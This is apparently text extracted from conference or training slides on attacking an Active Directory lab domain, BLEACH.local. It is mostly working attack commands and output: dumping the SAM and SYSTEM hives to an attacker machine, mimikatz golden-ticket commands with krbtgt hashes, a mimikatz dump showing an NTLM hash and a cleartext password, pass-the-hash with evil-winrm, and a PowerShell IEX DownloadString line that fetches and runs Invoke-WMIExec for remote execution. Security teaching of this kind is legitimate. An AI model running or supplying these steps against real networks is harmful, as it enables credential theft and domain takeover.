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CHARLA ROOTEDCON 2018 :: ACTIVE DIRECTORY

https://tryhackme.com/room/postexploit 

https://tryhackme.com/room/postexploit
http://www.youtube.com/watch?v=-8HTqAxppEc


BLEACH.local : THE SAM

https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-PowerDump.ps1 
https://www.hackingarticles.in/credential-dumping-sam/ 
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BLEACH.local : THE SAM

https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-PowerDump.ps1 

On Windows:
reg save HKLM\sam sam
reg save HKLM\system system

 Send it into a zip to your KALI (Attacker machine).

On KALI:
 # samdump2 -d SYSTEM SA

https://github.com/EmpireProject/Empire/blob/master/data/module_source/credentials/Invoke-PowerDump.ps1
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BLEACH.local : lsass.exe

https://medium.com/@markmotig/some-ways-to-dump-lsass-exe-c4a75fdc49bf 

https://www.ired.team/offensive-security/credential-access-and-credential-dumping/dump-credentials-from-lsass-p
rocess-without-mimikatz 

https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Out-Minidump.ps1
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mimikatz # lsadump::lsa /inject /name:krbtgt

mimikatz # kerberos::golden /user:Administrator /domain:controller.local /sid:S-1-5-21-849420856-2351964222-986696166 
/krbtgt:5508500012cc005cf7082a9a89ebdfdf /id:500
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#mimikatz
kerberos::golden /User:Administrator /domain:dollarcorp.moneycorp.local 
/sid:S-1-5-21-1874506631-3219952063-538504511 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /id:500 
/groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt

.\Rubeus.exe ptt /ticket:ticket.kirbi
klist #List tickets in memory

# Example using aes key
kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local 
/sid:S-1-5-21-1874506631-3219952063-538504511 
/aes256:430b2fdb13cc820d73ecf123dddd4c9d76425d4c2156b89ac551efb9d591a439 /ticket:golden.kirbi
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BLEACH.local : Mimikatz/.

https://book.hacktricks.xyz/windows-hardening/stealing-credentials/credentials-protections 

https://redteamrecipe.com/64-Methods-For-Execute-Mimikatz/ 
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BLEACH.local : Mimikatz/.



BLEACH.local : Mimikatz/.



Authentication Id : 0 ; 18444321 (00000000:01197021)
Session           : CachedInteractive from 1
User Name         : Administrador
Domain            : BLEACH
Logon Server      : PRINCIPAL-BLEACH
Logon Time        : 22/05/2023 18:11:36
SID               : S-1-5-21-3777977817-1859332824-490154379-500
        msv :
         [00000003] Primary
         * Username : Administrador
         * Domain   : BLEACH
         * NTLM     : fc19a68b44372b3bcf0297e08a28fda8
         * SHA1     : a23a9ebee5923c7860e21a1ef6cf053cf6885c00
         * DPAPI    : 380f529916e7310ff45ab4ab0e99c80e
        tspkg :
        wdigest :
         * Username : Administrador
         * Domain   : BLEACH
         * Password : (null)
        kerberos :
         * Username : Administrador
         * Domain   : BLEACH.LOCAL
         * Password : Hack1T995
        ssp :   KO

        credman :

BLEACH.local : Mimikatz/.



BLEACH.local : PASS-THE-HASH



BLEACH.local : PASS-THE-HASH

evil-winrm -i 10.0.9.5 -u Administrador -H fc19a68b44372b3bcf0297e08a28fda8



BLEACH.local : PASS-THE-HASH



BLEACH.local : PASS-THE-HASH (LAT MOVE.)



BLEACH.local : PASS-THE-HASH (BLIND)
PS C:\Users\jquerito\Downloads\impacket> IEX (New-Object 
System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/Kevin-Robertson/Invoke-TheHash/master/Invoke-WMIExec.ps1
');
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PS C:\Users\jquerito\Downloads\impacket> IEX (New-Object 
System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/Kevin-Robertson/Invoke-TheHash/master/Invoke-WMIExec.ps1
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ON KALI: kali@kali$ sudo tcpdump -nni eth0 icmp
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PS C:\Users\jquerito\Downloads\impacket> IEX (New-Object 
System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/Kevin-Robertson/Invoke-TheHash/master/Invoke-WMIExec.ps1
');

ON KALI: kali@kali$ sudo tcpdump -nni eth0 icmp

PS C:\Users\jquerito\Downloads\impacket> Invoke-WMIExec -target PRINCIPAL-BLEACH -hash fc19a68b44372b3bcf0297e08a28fda8 

-username Administrador -command "ping 10.0.9.7"

[+] Command executed with process ID 5900 on PRINCIPAL-BLEACH



BLEACH.local : PASS-THE-HASH (BLIND)
PS C:\Users\jquerito\Downloads\impacket> IEX (New-Object 
System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/Kevin-Robertson/Invoke-TheHash/master/Invoke-WMIExec.ps1
');

ON KALI: kali@kali$ sudo tcpdump -nni eth0 icmp

PS C:\Users\jquerito\Downloads\impacket> Invoke-WMIExec -target PRINCIPAL-BLEACH -hash fc19a68b44372b3bcf0297e08a28fda8 

-username Administrador -command "ping 10.0.9.7"

[+] Command executed with process ID 5900 on PRINCIPAL-BLEACH



BLEACH.local : PASS-THE-HASH (REALITY)

https://book.hacktricks.xyz/windows-hardening/stealing-credentials/credentials-protections 

https://redteamrecipe.com/64-Methods-For-Execute-Mimikatz/ 

https://systemweakness.com/bypass-mimikatz-using-process-injection-technique-6d2a8415fcd6

https://book.hacktricks.xyz/windows-hardening/stealing-credentials/credentials-protections
https://redteamrecipe.com/64-Methods-For-Execute-Mimikatz/



